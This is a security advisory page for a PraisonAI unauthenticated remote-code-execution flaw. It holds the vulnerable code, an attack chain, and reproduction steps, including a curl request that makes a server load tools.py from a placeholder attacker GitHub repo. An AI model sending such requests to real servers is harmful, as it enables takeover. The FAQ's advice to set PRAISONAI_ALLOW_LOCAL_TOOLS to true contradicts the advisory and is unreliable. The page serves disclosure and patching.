CVE-2026-44334: PraisonAI: Unauthenticated RCE via `tool_override.py`

Published May 6, 2026
·
Updated

TL;DR

CVE-2026-40287's fix gated tools.py auto-import behind PRAISONAIALLOWLOCALTOOLS=true in two files (toolresolver.py, api/call.py). A third import sink in praisonai/templates/tooloverride.py was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable through POST /v1/recipes/run with a recipe value pointing at any local absolute path or any GitHub repo (because SecurityConfig.allowanygithub defaults to True). The attacker drops a tools.py next to TEMPLATE.yaml; the server execmodule()s it. No auth required by default, no environment opt-in required.

Patch coverage gap

CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:

| File | Line | Gate | |---|---|---| | praisonai/toolresolver.py | 77 | if os.environ.get("PRAISONAIALLOWLOCALTOOLS", "").lower() != "true": | | praisonai/api/call.py | 80 | same |

But the equivalent sinks in praisonai/templates/tooloverride.py were not patched:

python tooloverride.py - createtoolregistrywithoverrides() 332 cwdtoolspy = Path.cwd() / "tools.py" 333 if cwdtoolspy.exists(): 334 try: 335 tools = loader.loadfromfile(str(cwdtoolspy)) # <-- execmodule 336 registry.update(tools) 337 except Exception: 338 pass 339 341 # 4. Template-local tools.py 342 if templatedir: 343 toolspy = Path(templatedir) / "tools.py" 344 if toolspy.exists(): 345 try: 346 tools = loader.loadfromfile(str(toolspy)) # <-- execmodule 347 registry.update(tools) 348 except Exception: 349 pass

loadfromfile (line 84-94) ends in spec.loader.execmodule(module) with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.

Attack chain

HTTP POST /v1/recipes/run body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"} │ ▼ recipe/serve.py:483 runrecipe(request) ← auth=none default │ ▼ recipe/core.py:215 recipe.run(name, ...) │ ▼ recipe/core.py:686 loadrecipe(name) └─ ".." check only; absolute paths and URIs allowed │ ▼ templates/loader.py:94 TemplateLoader.load(uri) │ ▼ templates/security.py:130 issourceallowed("github:") └─ allowanygithub=True default → returns True │ ▼ templates/registry.py fetch repo from raw.githubusercontent.com → cache dir │ ▼ templates/security.py:215 validatetemplatedirectory(cached.path) └─ .py is in allowedextensions → tools.py kept │ ▼ recipe/core.py:887 executerecipe(recipeconfig, ...) │ ▼ recipe/core.py:943 createtoolregistrywithoverrides( includedefaults=True, templatedir=recipeconfig.path) │ ▼ templates/tooloverride.py:341-349 loadfromfile(templatedir/tools.py) │ ▼ templates/tooloverride.py:94 spec.loader.execmodule(module) ← RCE

The tool registry build runs before any LLM/agent step, so OPENAIAPIKEY and similar are not required. A recipe with an empty workflow.steps: [] is sufficient - the payload fires during registry construction.

Confirmed execution (2026-04-25, praisonai 4.6.31)

SERVER stdout (PID 43784): Uvicorn running on http://127.0.0.1:8765 127.0.0.1 - POST /v1/recipes/run HTTP/1.1 [CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonaipwn1777094071.txt 127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error

Marker file: pid: 43784 ← matches server PID argv: ['server.py'] ← server process, not exploit

The 500 response is a downstream side-effect of workflow.steps: [] failing to construct a runnable workflow; the execmodule(tools.py) call runs before that error. The attacker payload has already executed in the server process by the time the 500 is sent.

Reproduction (local-path variant)

Files under pocs/praisonai-cve-2026-40287-bypass/:

- evilrecipe/TEMPLATE.yaml - minimal recipe metadata - evilrecipe/tools.py - payload (writes a marker file in tempdir) - server.py - starts praisonai.recipe.serve.createapp({}) on 127.0.0.1:8765 (default auth: none) - exploit.py - single POST to /v1/recipes/run

bash pip install 'praisonai[serve]==4.6.31'

Terminal 1 python server.py

Terminal 2 python exploit.py

Expected: server stdout shows [CVE-2026-40287-bypass] RCE fired.; a praisonaipwn<timestamp>.txt file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.

Reproduction (remote GitHub variant)

bash Push evilrecipe/ to https://github.com/<you>/poc-recipe (public repo)

curl -X POST http://target:8765/v1/recipes/run \ -H 'Content-Type: application/json' \ -d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}'

No filesystem prerequisite on the target. Triggers because SecurityConfig.allowanygithub (templates/security.py:30) defaults to True.

Other sources

PraisonAI is a multi-agent teams system. From version 4.5.139 to before version 4.6.32, CVE-2026-40287's fix gated tools.py auto-import behind PRAISONAIALLOWLOCALTOOLS=true in two files (toolresolver.py, api/call.py). A third import sink in praisonai/templates/tooloverride.py was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable through POST /v1/recipes/run with a recipe value pointing at any local absolute path or any GitHub repo (because SecurityConfig.allowanygithub defaults to True). The attacker drops a tools.py next to TEMPLATE.yaml; the server execmodule()s it. No auth required by default, no environment opt-in required. This issue has been patched in version 4.6.32.

MITRE

Affected Software

2 affected componentsFixes available
pip/praisonai>=4.5.139<=4.6.31
4.6.32
Praison PraisonAI>=4.5.139<4.6.32

Event History

May 6, 2026
Advisory Published
via GitHub·10:08 PM
Data Sourced
via GitHub·10:08 PM
DescriptionSeverityWeaknessAffected Software
May 8, 2026
CVE Published
via MITRE·01:25 PM
Data Sourced
via MITRE·01:25 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·02:16 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-44334?

CVE-2026-44334 has been classified with a high severity rating due to an unguarded import sink that poses risks to security.

2

How do I fix CVE-2026-44334?

To fix CVE-2026-44334, ensure that the `PRAISONAI_ALLOW_LOCAL_TOOLS` environment variable is set to true and apply the necessary updates to the affected files.

3

Which versions of PraisonAI are affected by CVE-2026-44334?

CVE-2026-44334 affects PraisonAI versions from 4.5.139 to 4.6.31.

4

What components are involved in CVE-2026-44334?

CVE-2026-44334 involves the `tools.py`, `tool_resolver.py`, `api/call.py`, and `tool_override.py` components.

5

Is there a workaround for CVE-2026-44334?

Currently, the recommended workaround for CVE-2026-44334 is to avoid using the unguarded import functionality until the issue is resolved.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203